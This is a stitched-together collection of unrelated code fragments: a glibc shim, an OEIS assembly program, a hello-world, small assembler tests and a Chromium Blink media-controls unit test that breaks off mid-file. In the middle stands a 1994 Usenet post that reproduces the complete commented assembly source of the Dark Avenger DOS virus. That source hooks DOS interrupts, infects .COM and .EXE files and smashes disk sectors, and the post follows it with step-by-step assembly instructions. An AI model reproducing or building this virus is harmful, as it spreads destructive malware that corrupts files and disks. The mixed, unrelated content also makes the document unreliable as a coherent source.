extern "C" void* memcpy(void* a, const void* b, size_t c)
{
return memmove(a, b, c);
}
extern "C" void __chk_fail(void) __attribute__((__noreturn__));
extern "C" FDELT_TYPE __fdelt_warn(FDELT_TYPE a)
{
if (a >= FD_SETSIZE)
__chk_fail();
return a / __NFDBITS;
}
extern "C" FDELT_TYPE __fdelt_chk(FDELT_TYPE) __attribute__((weak, alias("__fdelt_warn")));
|
; A091453: Triangular array T(n,k) read by rows in which row n consists of the numbers floor(2n/k), k=1,2,...,2n+1.
; Submitted by Jon Maiga
; 0,0,2,1,0,4,2,1,1,0,6,3,2,1,1,1,0,8,4,2,2,1,1,1,1,0,10,5,3,2,2,1,1,1,1,1,0,12,6,4,3,2,2,1,1,1,1,1,1,0,14,7,4,3,2,2,2,1,1,1,1,1,1,1,0,16,8,5,4,3,2,2,2,1,1,1,1,1,1,1,1,0,18,9,6,4,3,3,2,2,2,1,1,1,1,1,1,1,1,1
mov $2,$0
pow $0,$0
lpb $0
mov $0,$2
pow $0,2
add $3,1
div $0,$3
sub $2,$3
add $3,1
sub $0,$3
lpe
mov $4,$2
cmp $4,0
add $2,$4
div $3,$2
mov $0,$3
|
section .rodata
msg db "Hello World", 0xA ; String to print
len equ $- msg ; Length of string
section .text
global _start ; Specify entry point to linker
_start:
mov eax, 1 ; System call ID (sys_write)
mov edi, eax ; File descriptor (stdout)
mov esi, msg ; Text to print
mov edx, len ; Length of text to print
syscall ; Call kernel
mov eax, 60 ; System call ID (sys_exit)
xor edi, edi ; Error code (EXIT_SUCCESS)
syscall ; Call kernel
|
/*start*/
bt label1
bt label1+1
mov r0, r0
label1:
mov r0, r0
/*label2*/
mov r0, r0
mov r0, r0
bt label1
bt label1-3
|
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:44:15 1994
Xref: netcom.com alt.comp.virus:509
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: Dark Avenger Virus
Date: 29 Nov 1994 13:13:46 GMT
Organization: Netcom
Lines: 1018
Distribution: world
Message-ID: <3bf9ea$iep@ixnews1.ix.netcom.com>
References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
DARK AVENGER VIRUS
code segment
assume cs:code,ds:code
copyright:
db 'Eddie lives...somewhere in time!',0
date_stamp:
dd 12239000h
checksum:
db 30
; Return the control to an .EXE file:
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
exit_exe:
mov bx,es
add bx,10h
add bx,word ptr cs:[si+call_adr+2]
mov word ptr cs:[si+patch+2],bx
mov bx,word ptr cs:[si+call_adr]
mov word ptr cs:[si+patch],bx
mov bx,es
add bx,10h
add bx,word ptr cs:[si+stack_pointer+2]
mov ss,bx
mov sp,word ptr cs:[si+stack_pointer]
db 0eah ;JMP XXXX:YYYY
patch:
dd 0
; Returns control to a .COM file:
; Restores the first 3 bytes in the
; beginning of the file, loads SP and IP.
exit_com:
mov di,100h
add si,offset my_save
movsb
movsw
mov sp,ds:[6] ;This is incorrect
xor bx,bx
push bx
jmp [si-11] ;si+call_adr-top_file
; Program entry point
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ;A separate stack is supported
for
add sp,offset top_file+100h ;the .COM files, in order not to
sti ;overlap the stack by the
program
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
; Looking for the address of INT 13h handler in ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to
INT 40h
cmp ax,0f000h ;for diskettes if a hard disk is
jne nofdisk ;available
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h usually points the
segment,
cmp ax,0f000h ;where the original INT 13h
vector is
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;Occasionally begins with:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC somewhere
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;or with:
jne nxt ; TEST DL,80h
lodsw ; JNZ somewhere
cmp ax,7580h
jne nxt0
intchk:
inc si ;then there is:
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; Check whether the program is present in memory:
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
; Move the program to the top of memory:
; (it's full of rubbish and bugs here)
bad_func:
pop es
mov ah,49h
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
sub bx,(top_bz+my_bz+1ch-1)/16+2
jc go_program
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
stc
sbb es:[2],bx
push es
mov es,cx
mov ah,4ah
int 21h
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[1],8
call mul_16
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call mul_16
add ax,ds:[6]
adc dx,0
sub ax,bx
sbb dx,cx
jc mem_ok
sub ds:[6],ax ;Reduction of the segment size
mem_ok:
pop si
push si
push ds
push cs
xor di,di
mov ds,di
lds ax,ds:[27h*4]
mov word ptr cs:[si+save_int_27],ax
mov word ptr cs:[si+save_int_27+2],ds
pop ds
mov cx,offset aux_size
rep movsb
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
mov ds:[21h*4+2],es
mov ds:[27h*4],offset int_27
mov ds:[27h*4+2],es
mov word ptr es:[filehndl],ax
pop es
go_program:
pop si
; Smash the next disk sector:
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov word ptr cs:[si+save_int_13],ax
mov ax,ds:[13h*4+2]
mov word ptr cs:[si+save_int_13+2],ax
mov ds:[13h*4],offset int_13
add ds:[13h*4],si
mov ds:[13h*4+2],cs
pop ds
push ds
push si
mov bx,si
lds ax,ds:[2ah]
xor si,si
mov dx,si
scan_envir: ;Fetch program's name
lodsw ;(with DOS 2.x it doesn't work
anyway)
dec si
test ax,ax
jnz scan_envir
add si,3
lodsb
; The following instruction is a complete nonsense. Try to enter a
drive &
; directory path in lowercase, then run an infected program from there.
; As a result of an error here + an error in DOS the next sector is not
; smashed. Two memory bytes are smashed instead, most probably onto the
; infected program.
sub al,'A'
mov cx,1
push cs
pop ds
add bx,offset int_27
push ax
push bx
push cx
int 25h
pop ax
pop cx
pop bx
inc byte ptr [bx+0ah]
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
jnz store_sec ;nothing is not enough for some.
mov al,[bx+10h]
xor ah,ah
mul word ptr [bx+16h]
add ax,[bx+0eh]
push ax
mov ax,[bx+11h]
mov dx,32
mul dx
div word ptr [bx+0bh]
pop dx
add dx,ax
mov ax,[bx+8]
add ax,40h
cmp ax,[bx+13h]
jc store_new
inc ax
and ax,3fh
add ax,dx
cmp ax,[bx+13h]
jnc small_disk
store_new:
mov [bx+8],ax
store_sec:
pop ax
xor dx,dx
push ax
push bx
push cx
int 26h
; The writing trough this interrupt is not the smartest thing, bacause
it
; can be intercepted (what Vesselin Bontchev has managed to notice).
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ;This instruction seems
unnecessary
iret
; INT 27h handler (this is necessary)
int_27:
pushf
call alloc
popf
jmp dword ptr cs:[save_int_27]
; During the DOS functions Set & Get Vector it seems that the virus has
not
; intercepted them (this is a doubtfull advantage and it is a possible
; source of errors with some "intelligent" programs)
set_int_27:
mov word ptr cs:[save_int_27],dx
mov word ptr cs:[save_int_27+2],ds
popf
iret
set_int_21:
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
popf
iret
get_int_27:
les bx,dword ptr cs:[save_int_27]
popf
iret
get_int_21:
les bx,dword ptr cs:[save_int_21]
popf
iret
exec:
call do_file
call alloc
popf
jmp dword ptr cs:[save_int_21]
db 'Diana P.',0
; INT 21h handler. Infects files during execution, copying, browsing or
; creating and some other operations. The execution of functions 0 and
26h
; has bad consequences.
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ;Unfortunately, the command
inter-
jne dont_touch ;preter does not use this
function
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; Checks whether the file is .COM or .EXE.
; It is not called upon file execution.
see_name:
push ax
push si
mov si,dx
scan_name:
lodsb
test al,al
jz bad_name
cmp al,'.'
jnz scan_name
call get_byte
mov ah,al
call get_byte
cmp ax,'co'
jz pos_com
cmp ax,'ex'
jnz good_name
call get_byte
cmp al,'e'
jmp short good_name
pos_com:
call get_byte
cmp al,'m'
jmp short good_name
bad_name:
inc al
good_name:
pop si
pop ax
ret
; Converts into lowercase (the subroutines are a great thing).
get_byte:
lodsb
cmp al,'C'
jc byte_got
cmp al,'Y'
jnc byte_got
add al,20h
byte_got:
ret
; Calls the original INT 21h.
function:
pushf
call dword ptr cs:[save_int_21]
ret
; Arrange to infect an executable file.
do_file:
push ds ;Save the registers in stack
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax
mov ds,ax
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in
stack
push es ;and changes them with what is
needed
push ax
mov ds:[24h*4],offset int_24
mov ds:[24h*4+2],cs
les ax,ds:[13h*4]
mov word ptr cs:[save_int_13],ax
mov word ptr cs:[save_int_13+2],es
mov ds:[13h*4],offset int_13
mov ds:[13h*4+2],cs
push es
push ax
mov ds,si
xor cx,cx ;Arranges to infect Read-only
files
mov ax,4300h
call function
mov bx,cx
and cl,0feh
cmp cl,bl
je dont_change
mov ax,4301h
call function
stc
dont_change:
pushf
push ds
push dx
push bx
mov ax,3d02h ;Now we can safely open the file
call function
jc cant_open
mov bx,ax
call disease
mov ah,3eh ;Close it
call function
cant_open:
pop cx
pop dx
pop ds
popf
jnc no_update
mov ax,4301h ;Restores file's attributes
call function ;if they were changed (just in
case)
no_update:
xor ax,ax ;Restores INT 13h and INT 24h
mov ds,ax
pop ds:[13h*4]
pop ds:[13h*4+2]
pop ds:[24h*4]
pop ds:[24h*4+2]
pop dx ;Register restoration
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
; This routine is the working horse.
disease:
push cs
pop ds
push cs
pop es
mov dx,offset top_save ;Read the file beginning
mov cx,18h
mov ah,3fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h ;Save file length
int 21h
mov word ptr [top_save+1ah],dx
cmp ax,offset my_size ;This should be top_file
sbb dx,0
jc stop_fuck_2 ;Small files are not infected
mov word ptr [top_save+18h],ax
cmp word ptr [top_save],5a4dh
jne com_file
mov ax,word ptr [top_save+8]
add ax,word ptr [top_save+16h]
call mul_16
add ax,word ptr [top_save+14h]
adc dx,0
mov cx,dx
mov dx,ax
jmp short see_sick
com_file:
cmp byte ptr [top_save],0e9h
jne see_fuck
mov dx,word ptr [top_save+1]
add dx,103h
jc see_fuck
dec dh
xor cx,cx
; Check if the file is properly infected
see_sick:
sub dx,startup-copyright
sbb cx,0
mov ax,4200h
int 21h
add ax,offset top_file
adc dx,0
cmp ax,word ptr [top_save+18h]
jne see_fuck
cmp dx,word ptr [top_save+1ah]
jne see_fuck
mov dx,offset top_save+1ch
mov si,dx
mov cx,offset my_size
mov ah,3fh
int 21h
jc see_fuck
cmp cx,ax
jne see_fuck
xor di,di
next_byte:
lodsb
scasb
jne see_fuck
loop next_byte
stop_fuck_2:
ret
see_fuck:
xor cx,cx ;Seek to the end of file
xor dx,dx
mov ax,4202h
int 21h
cmp word ptr [top_save],5a4dh
je fuck_exe
add ax,offset aux_size+200h ;Watch out for too big .COM
files
adc dx,0
je fuck_it
ret
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
fuck_exe:
mov dx,word ptr [top_save+18h]
neg dl
and dx,0fh
xor cx,cx
mov ax,4201h
int 21h
mov word ptr [top_save+18h],ax
mov word ptr [top_save+1ah],dx
fuck_it:
mov ax,5700h ;Get file's date
int 21h
pushf
push cx
push dx
cmp word ptr [top_save],5a4dh
je exe_file ;Very clever, isn't it?
mov ax,100h
jmp short set_adr
exe_file:
mov ax,word ptr [top_save+14h]
mov dx,word ptr [top_save+16h]
set_adr:
mov di,offset call_adr
stosw
mov ax,dx
stosw
mov ax,word ptr [top_save+10h]
stosw
mov ax,word ptr [top_save+0eh]
stosw
mov si,offset top_save ;This offers the possibilities
to
movsb ;some nasty programs to restore
movsw ;exactly the original length
xor dx,dx ;of the .EXE files
mov cx,offset top_file
mov ah,40h
int 21h ;Write the virus
jc go_no_fuck ;(don't trace here)
xor cx,ax
jnz go_no_fuck
mov dx,cx
mov ax,4200h
int 21h
cmp word ptr [top_save],5a4dh
je do_exe
mov byte ptr [top_save],0e9h
mov ax,word ptr [top_save+18h]
add ax,startup-copyright-3
mov word ptr [top_save+1],ax
mov cx,3
jmp short write_header
go_no_fuck:
jmp short no_fuck
; Construct the .EXE file's header
do_exe:
call mul_hdr
not ax
not dx
inc ax
jne calc_offs
inc dx
calc_offs:
add ax,word ptr [top_save+18h]
adc dx,word ptr [top_save+1ah]
mov cx,10h
div cx
mov word ptr [top_save+14h],startup-copyright
mov word ptr [top_save+16h],ax
add ax,(offset top_file-offset copyright-1)/16+1
mov word ptr [top_save+0eh],ax
mov word ptr [top_save+10h],100h
add word ptr [top_save+18h],offset top_file
adc word ptr [top_save+1ah],0
mov ax,word ptr [top_save+18h]
and ax,1ffh
mov word ptr [top_save+2],ax
pushf
mov ax,word ptr [top_save+19h]
shr byte ptr [top_save+1bh],1
rcr ax,1
popf
jz update_len
inc ax
update_len:
mov word ptr [top_save+4],ax
mov cx,18h
write_header:
mov dx,offset top_save
mov ah,40h
int 21h ;Write the file beginning
no_fuck:
pop dx
pop cx
popf
jc stop_fuck
mov ax,5701h ;Restore the original file date
int 21h
stop_fuck:
ret
; The following is used by the INT 21h and INT 27h handlers in
connection
; to the program hiding in memory from those who don't need to see it.
; The whole system is absurde and meaningless and it is also another
source
; for program conflicts.
alloc:
push ds
call get_chain
mov byte ptr ds:[0],'M'
pop ds
; Assures that the program is the first one in the processes,
; which have intercepted INT 21h (yet another source of conflicts).
ontop:
push ds
push ax
push bx
push dx
xor bx,bx
mov ds,bx
lds dx,ds:[21h*4]
cmp dx,offset int_21
jne search_segment
mov ax,ds
mov bx,cs
cmp ax,bx
je test_complete
; Searches the segment of the sucker who has intercepted INT 21h, in
; order to find where it has stored the old values and to replace them.
; Nothing is done for INT 27h.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; Even if he has not saved them in the same segment, this won't help
him.
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
; Fetch the segment of the last MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; Multiply by 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
; INT 13h handler.
; Calls the original vectors in BIOS, if it's a writing call
int_13:
cmp ah,3
jnz subfn_ok
cmp dl,80h
jnc hdisk
db 0eah ;JMP XXXX:YYYY
my_size: ;--- Up to here comparison
disk: ; with the original is made
dd 0
hdisk:
db 0eah ;JMP XXXX:YYYY
fdisk:
dd 0
subfn_ok:
db 0eah ;JMP XXXX:YYYY
save_int_13:
dd 0
call_adr:
dd 100h
stack_pointer:
dd 0 ;The original value of SS:SP
my_save:
int 20h ;The original contents of the
first
nop ;3 bytes of the file
top_file: ;--- Up to here the code is
written
filehndl equ $ ; in the files
filename equ filehndl+2 ;Buffer for the name of the
opened file
save_int_27 equ filename+65 ;Original INT 27h vector
save_int_21 equ save_int_27+4 ;Original INT 21h vector
aux_size equ save_int_21+4 ;--- Up to here is moved into
memory
top_save equ save_int_21+4 ;Beginning of the buffer, which
;contains
; - The first 24 bytes read from
file
; - File length (4 bytes)
; - The last bytes of the file
; (my_size bytes)
top_bz equ top_save-copyright
my_bz equ my_size-copyright
code ends
end
------------------------------------------------------------------------
------
A few notes on assembling this virus.
It's a little bit tricky assembling the Dark Avenger Virus. Use
these steps below. I use Turbo Assembler 2.0, but I'm positve that
MASM will work just as well.
1:
TASM AVENGER.ASM
2:
TLINK AVENGER.OBJ
3:
EXE2BIN AVENGER AVENGER.COM
Now make a 3 byte file named JUMP.TMP using DEBUG like this
4: DEBUG
n jmp.tmp
e 0100 E9 68 00
rcx
3
w
q
5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
There you have it....
|
.ORG 0
.TEXT "\378\.\1"
.END
|
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "third_party/blink/renderer/modules/media_controls/media_controls_orientation_lock_delegate.h"
#include <memory>
#include "mojo/public/cpp/bindings/associated_receiver.h"
#include "mojo/public/cpp/bindings/associated_remote.h"
#include "mojo/public/cpp/bindings/pending_associated_receiver.h"
#include "services/device/public/mojom/screen_orientation.mojom-blink.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/blink/public/mojom/widget/screen_orientation.mojom-blink.h"
#include "third_party/blink/public/platform/web_size.h"
#include "third_party/blink/renderer/core/dom/document.h"
#include "third_party/blink/renderer/core/frame/frame_view.h"
#include "third_party/blink/renderer/core/frame/local_dom_window.h"
#include "third_party/blink/renderer/core/frame/local_frame.h"
#include "third_party/blink/renderer/core/frame/settings.h"
#include "third_party/blink/renderer/core/fullscreen/fullscreen.h"
#include "third_party/blink/renderer/core/html/media/html_audio_element.h"
#include "third_party/blink/renderer/core/html/media/html_video_element.h"
#include "third_party/blink/renderer/core/html_names.h"
#include "third_party/blink/renderer/core/loader/empty_clients.h"
#include "third_party/blink/renderer/core/testing/page_test_base.h"
#include "third_party/blink/renderer/modules/device_orientation/device_orientation_controller.h"
#include "third_party/blink/renderer/modules/device_orientation/device_orientation_data.h"
#include "third_party/blink/renderer/modules/media_controls/media_controls_impl.h"
#include "third_party/blink/renderer/modules/screen_orientation/screen_orientation_controller.h"
#include "third_party/blink/renderer/modules/screen_orientation/web_lock_orientation_callback.h"
#include "third_party/blink/renderer/platform/geometry/int_rect.h"
#include "third_party/blink/renderer/platform/heap/heap.h"
#include "third_party/blink/renderer/platform/testing/empty_web_media_player.h"
#include "third_party/blink/renderer/platform/testing/runtime_enabled_features_test_helpers.h"
#include "third_party/blink/renderer/platform/testing/unit_test_helpers.h"
#include "third_party/blink/renderer/platform/web_test_support.h"
#include "ui/gfx/geometry/rect.h"
using testing::_;
namespace blink {
namespace {
// WebLockOrientationCallback implementation that will not react to a success
// nor a failure.
class DummyScreenOrientationCallback final : public WebLockOrientationCallback {
public:
void OnSuccess() override {}
void OnError(WebLockOrientationError) override {}
};
class MockWebMediaPlayerForOrientationLockDelegate final
: public EmptyWebMediaPlayer {
public:
~MockWebMediaPlayerForOrientationLockDelegate() override = default;
// EmptyWebMediaPlayer overrides:
bool HasVideo() const override { return true; }
gfx::Size NaturalSize() const override { return mock_natural_size_; }
gfx::Size& MockNaturalSize() { return mock_natural_size_; }
private:
gfx::Size mock_natural_size_ = {};
};
class MockScreenOrientation final
: public device::mojom::blink::ScreenOrientation {
public:
MockScreenOrientation() = default;
// device::mojom::blink::ScreenOrientation overrides:
void LockOrientation(device::mojom::ScreenOrientationLockType type,
LockOrientationCallback callback) override {
std::move(callback).Run(device::mojom::ScreenOrientationLockResult::
SCREEN_ORIENTATION_LOCK_RESULT_SUCCESS);
LockOrientation(type);
}
MOCK_METHOD(void, UnlockOrientation, (), (override));
void BindPendingReceiver(
mojo::PendingAssociatedReceiver<device::mojom::blink::ScreenOrientation>
pending_receiver) {
receiver_.Bind(std::move(pending_receiver));
}
void Close() { receiver_.reset(); }
MOCK_METHOD(void,
LockOrientation,
(device::mojom::ScreenOrientationLockType));
private:
mojo::AssociatedReceiver<device::mojom::blink::ScreenOrientation> receiver_{
this};
};
void DidEnterFullscreen(Document* document) {
DCHECK(document);
Fullscreen::DidResolveEnterFullscreenRequest(*document, true /* granted */);
document->ServiceScriptedAnimations(base::TimeTicks::Now());
}
void DidExitFullscreen(Document* document) {
DCHECK(document);
Fullscreen::DidExitFullscreen(*document);
document->ServiceScriptedAnimations(base::TimeTicks::Now());
}
class MockChromeClientForOrientationLockDelegate final
: public EmptyChromeClient {
public:
// ChromeClient overrides:
void InstallSupplements(LocalFrame& frame) override {
EmptyChromeClient::InstallSupplements(frame);
HeapMojoAssociatedRemote<device::mojom::blink::ScreenOrientation>
screen_orientation(frame.DomWindow());
ScreenOrientationClient().BindPendingReceiver(
screen_orientation.BindNewEndpointAndPassDedicatedReceiver());
ScreenOrientationController::From(*frame.DomWindow())
->SetScreenOrientationAssociatedRemoteForTests(
std::move(screen_orientation));
}
// The real ChromeClient::EnterFullscreen/ExitFullscreen implementation is
// async due to IPC, emulate that by posting tasks:
void EnterFullscreen(LocalFrame& frame,
const FullscreenOptions*,
FullscreenRequestType) override {
Thread::Current()->GetTaskRunner()->PostTask(
FROM_HERE,
WTF::Bind(DidEnterFullscreen, WrapPersistent(frame.GetDocument())));
}
void ExitFullscreen(LocalFrame& frame) override {
Thread::Current()->GetTaskRunner()->PostTask(
FROM_HERE,
WTF::Bind(DidExitFullscreen, WrapPersistent(frame.GetDocument())));
}
const ScreenInfo& GetScreenInfo(LocalFrame&) const override {
return mock_screen_info_;
}
ScreenInfo& MockScreenInfo() { return mock_screen_info_; }
MockScreenOrientation& ScreenOrientationClient() {
return mock_screen_orientation_;
}
private:
MockScreenOrientation mock_screen_orientation_;
ScreenInfo mock_screen_info_ = {};
};
class StubLocalFrameClientForOrientationLockDelegate final
: public EmptyLocalFrameClient {
public:
std::unique_ptr<WebMediaPlayer> CreateWebMediaPlayer(
HTMLMediaElement&,
const WebMediaPlayerSource&,
WebMediaPlayerClient*) override {
return std::make_unique<MockWebMediaPlayerForOrientationLockDelegate>();
}
};
} // anonymous namespace
class MediaControlsOrientationLockDelegateTest
: public PageTestBase,
private ScopedVideoFullscreenOrientationLockForTest,
private ScopedVideoRotateToFullscreenForTest {
public:
MediaControlsOrientationLockDelegateTest()
: ScopedVideoFullscreenOrientationLockForTest(true),
ScopedVideoRotateToFullscreenForTest(false) {}
explicit MediaControlsOrientationLockDelegateTest(
bool video_rotate_to_fullscreen)
: ScopedVideoFullscreenOrientationLockForTest(true),
ScopedVideoRotateToFullscreenForTest(video_rotate_to_fullscreen) {}
protected:
using DeviceOrientationType =
MediaControlsOrientationLockDelegate::DeviceOrientationType;
static constexpr base::TimeDelta GetUnlockDelay() {
return MediaControlsOrientationLockDelegate::kLockToAnyDelay;
}
void SetUp() override {
chrome_client_ =
MakeGarbageCollected<MockChromeClientForOrientationLockDelegate>();
Page::PageClients clients;
FillWithEmptyClients(clients);
clients.chrome_client = chrome_client_.Get();
SetupPageWithClients(
&clients,
MakeGarbageCollected<StubLocalFrameClientForOrientationLockDelegate>());
previous_orientation_event_value_ =
RuntimeEnabledFeatures::OrientationEventEnabled();
GetDocument().write("<body><video></body>");
video_ = To<HTMLVideoElement>(*GetDocument().QuerySelector("video"));
}
void TearDown() override {
testing::Mock::VerifyAndClear(&ScreenOrientationClient());
ScreenOrientationClient().Close();
}
static bool HasDelegate(const MediaControls& media_controls) {
return !!static_cast<const MediaControlsImpl*>(&media_controls)
->orientation_lock_delegate_;
}
void SimulateEnterFullscreen() {
LocalFrame::NotifyUserActivation(
GetDocument().GetFrame(), mojom::UserActivationNotificationType::kTest);
Fullscreen::RequestFullscreen(Video());
test::RunPendingTasks();
}
void SimulateExitFullscreen() {
Fullscreen::ExitFullscreen(GetDocument());
test::RunPendingTasks();
}
void SimulateOrientationLock() {
ScreenOrientationController* controller =
ScreenOrientationController::From(*GetDocument().domWindow());
controller->lock(device::mojom::ScreenOrientationLockType::LANDSCAPE,
std::make_unique<DummyScreenOrientationCallback>());
EXPECT_TRUE(controller->MaybeHasActiveLock());
}
void SimulateVideoReadyState(HTMLMediaElement::ReadyState state) {
Video().SetReadyState(state);
}
void SimulateVideoNetworkState(HTMLMediaElement::NetworkState state) {
Video().SetNetworkState(state);
}
MediaControlsImpl* MediaControls() const {
return static_cast<MediaControlsImpl*>(video_->GetMediaControls());
}
void CheckStatePendingFullscreen() const {
EXPECT_EQ(MediaControlsOrientationLockDelegate::State::kPendingFullscreen,
MediaControls()->orientation_lock_delegate_->state_);
}
void CheckStatePendingMetadata() const {
EXPECT_EQ(MediaControlsOrientationLockDelegate::State::kPendingMetadata,
MediaControls()->orientation_lock_delegate_->state_);
}
void CheckStateMaybeLockedFullscreen() const {
EXPECT_EQ(
MediaControlsOrientationLockDelegate::State::kMaybeLockedFullscreen,
MediaControls()->orientation_lock_delegate_->state_);
}
bool DelegateWillUnlockFullscreen() const {
return DelegateOrientationLock() !=
device::mojom::ScreenOrientationLockType::DEFAULT /* unlocked */;
}
device::mojom::ScreenOrientationLockType DelegateOrientationLock() const {
return MediaControls()->orientation_lock_delegate_->locked_orientation_;
}
device::mojom::ScreenOrientationLockType ComputeOrientationLock() const {
return MediaControls()
->orientation_lock_delegate_->ComputeOrientationLock();
}
MockChromeClientForOrientationLockDelegate& ChromeClient() const {
return *chrome_client_;
}
HTMLVideoElement& Video() const { return *video_; }
MockScreenOrientation& ScreenOrientationClient() const {
return ChromeClient().ScreenOrientationClient();
}
MockWebMediaPlayerForOrientationLockDelegate& MockWebMediaPlayer() const {
return *static_cast<MockWebMediaPlayerForOrientationLockDelegate*>(
Video().GetWebMediaPlayer());
}
protected:
Persistent<MockChromeClientForOrientationLockDelegate> chrome_client_;
private:
friend class MediaControlsOrientationLockAndRotateToFullscreenDelegateTest;
bool previous_orientation_event_value_;
Persistent<HTMLVideoElement> video_;
};
class MediaControlsOrientationLockAndRotateToFullscreenDelegateTest
: public MediaControlsOrientationLockDelegateTest,
private ScopedOrientationEventForTest {
public:
MediaControlsOrientationLockAndRotateToFullscreenDelegateTest()
: MediaControlsOrientationLockDelegateTest(true),
ScopedOrientationEventForTest(true) {}
protected:
enum DeviceNaturalOrientation { kNaturalIsPortrait, kNaturalIsLandscape };
void SetUp() override {
// Unset this to fix ScreenOrientationController::ComputeOrientation.
// TODO(mlamouri): Refactor to avoid this (crbug.com/726817).
was_running_web_test_ = WebTestSupport::IsRunningWebTest();
WebTestSupport::SetIsRunningWebTest(false);
MediaControlsOrientationLockDelegateTest::SetUp();
// Reset the <video> element now we've enabled the runtime feature.
